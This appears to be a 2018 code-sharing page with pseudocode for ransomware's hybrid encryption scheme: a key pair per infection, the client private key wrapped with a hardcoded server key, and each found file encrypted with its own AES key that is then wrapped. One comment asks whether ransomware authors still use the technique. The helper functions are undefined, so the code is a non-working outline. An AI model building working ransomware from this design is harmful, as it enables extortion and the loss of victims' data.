Created
August 30, 2018 17:14
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# client public and private key will be here / generated new key pair for each infection | |
client_public_key = "" | |
client_private_key = "" | |
# hardcoded Spub.key | |
server_public_key = "" | |
# encrypt Cpriv.key with Spub.key | |
encrypted_client_private_key = encrypt_client_private_key(client_private_key, server_public_key) | |
write_to_disk(encrypted_client_private_key) | |
# desallocated client private key | |
delete_client_private_key(client_private_key) | |
# found files on infected machine | |
found_files = [] | |
# encrypted AES keys will be stored here | |
encrypted_aes_keys = [] | |
# for each file | |
for file in found_files: | |
# generate random AES key | |
aes_key = generate_aes_key() | |
# encrypt the file with the key | |
encrypt_file(file, aes_key) | |
# encrypt AES key with Cpub.key | |
encrypted_aes_key = encrypt_aes_key(aes_key, client_public_key) | |
encrypted_aes_keys.append(encrypted_aes_key) | |
# Desallocated old key | |
delete_aes_key(aes_key) | |
# save to disk encrypted AES keys | |
write_to_disk(encrypted_aes_keys) |
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Are ransomware authors still using this technique?